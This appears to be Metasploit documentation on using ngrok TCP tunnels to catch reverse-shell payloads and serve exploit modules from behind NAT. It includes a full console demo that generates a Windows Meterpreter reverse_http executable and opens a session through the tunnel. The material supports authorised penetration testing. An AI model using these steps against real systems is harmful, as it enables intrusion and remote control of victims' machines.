# Overview [ngrok][1] is a popular service that offers free port-forwarding that is easy to setup without needing to run a dedicated server on a public IP address (as is the case with SSH, socat and other more traditional options. This means that users behind a SNATing device such as a SOHO router can accept reverse shells and other connections without needing to configure port forwarding. **WARNING:** The nature of using ngrok is to send traffic through a third party. ngrok and the server which it utilizes are not affiliated with the Metasploit project. Use of ngrok effectively sends traffic through an untrusted third party and should be done with extreme caution. While Meterpreter has offered end-to-end encryption since Metasploit 6.0, other payloads and connections do not. ngrok can start multiple types of tunnels. The `tcp` tunnel is compatible with Metasploit's payloads and most closely resembles a traditional port-forwarding configuration. The `http` tunnel type is not compatible with payloads, and should not be used. The `tls` tunnel type may be compatible, but access to it is restricted to the Enterprise and Pay-as-you-go paid plans. This document will focus on the use cases for the `tcp` tunnel type. Note that one limitation is that the public port can not be configured, it is randomly selected by ngrok meaning that the target will need to be able to connect to this high, obscure port which may be prevented by egress filtering. ## Usage with payloads Use with payloads can be achieved with any of the reverse-connection stagers that accept `LHOST` and `LPORT` options, e.g. reverse_tcp, reverse_http, reverse_https, etc. but not reverse_named_pipe. In the following scenario, ngrok will be used to forward a random public port to the Metasploit listener on port 4444. This scenario assumes that Metasploit and ngrok are running on the same host. **NOTE:** At this time, payloads handle DNS hostnames inconsistently. Some are compatible with hostnames while others require IP addresses to be specified as the target to connect to (the `LHOST` option). To ensure the specified payload will work, the hostname provided by ngrok should be resolved to an IP address and the IP address should be used as the value for `LHOST`. 1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`. 1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and port number from this line, e.g. `4.tcp.ngrok.io:13779` 1. Resolve the hostname from the previous step to an IP address. 1. Start msfconsole and use the desired payload or exploit module. * Using `msfconsole` for both generating the payload and handling the connection is recommended over using `msfvenom` for two reasons. 1. Using `msfvenom` starts up an instance of the framework to generate the payload, making it a slower process. 2. Using `msfconsole` to configure both the payload and handler simultaneously ensures that the options are set for both, eliminating the possibility that they are out of sync. 1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to. 1. Set the `LPORT` option to the port noted in step 2, `13779` in the example. 1. Set the `ReverseListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted from ngrok. 1. Set the `ReverseListenerBindPort` option to `4444`. 1. Either run the exploit, or generate the payload with the `generate` command and start the handler with `to_handler` Once the payload has been executed, either through the exploit or manual means, there should be a open connection seen through the ngrok terminal. ### Payload Demo ngrok side: ``` $ ngrok tcp localhost:4444 ngrok (Ctrl+C to quit) Take our ngrok in production survey! https://forms.gle/aXiBFWzEA36DudFn6 Session Status online Account ????? (Plan: Personal) Version 3.16.0 Region United States (us) Latency 33ms Web Interface http://127.0.0.1:4040 Forwarding tcp://4.tcp.ngrok.io:17511 -> localhost:4444 Connections ttl opn rt1 rt5 p50 p90 0 0 0.00 0.00 0.00 0.00 ``` resolve the hostname `4.tcp.ngrok.io` to an IP address ``` $ dig +short 4.tcp.ngrok.io 192.0.2.1 ``` metasploit side: ```msf msf > use payload/windows/x64/meterpreter/reverse_http msf payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1 LHOST => 192.0.2.1 msf payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511 LPORT => 17511 msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1 ReverseListenerBindAddress => 127.0.0.1 msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444 ReverseListenerBindPort => 4444 msf payload(windows/x64/meterpreter/reverse_http) > to_handler [*] Payload Handler Started as Job 2 msf payload(windows/x64/meterpreter/reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4444 msf payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe [*] Writing 7168 bytes to ngrok_payload.exe... msf payload(windows/x64/meterpreter/reverse_http) > [*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ... [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400 msf payload(windows/x64/meterpreter/reverse_http) > sessions -i -1 [*] Starting interaction with 1... meterpreter > getuid Server username: MSFLAB\smcintyre meterpreter > ``` ## Usage with server modules Some modules expect connections to be made to them by the target. These modules can also be used with ngrok, with some slight variations to the payload workflow in regards to their datastore options. Modules that start servers can be identified by using the `SRVHOST` and `SRVPORT` datastore options. **NOTE:** Free ngrok plans can only open one tcp tunnel at a time. This means that if the module is an exploit that a tcp tunnel for a reverse-connection payload will not be able to be opened at the same time. Use a second ngrok account to open a second tcp tunnel and follow the steps above for the payload configuration. 1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`. 1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and port number from this line, e.g. `4.tcp.ngrok.io:13779` 1. Resolve the hostname from the previous step to an IP address. 1. Start msfconsole and use the desired module. 1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to. 1. Set the `SRVPORT` option to the port noted in step 2, `13779` in the example. 1. Set the `ListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted from ngrok. 1. Set the `ListenerBindPort` option to `4444`. 1. Run the module [1]: https://ngrok.com/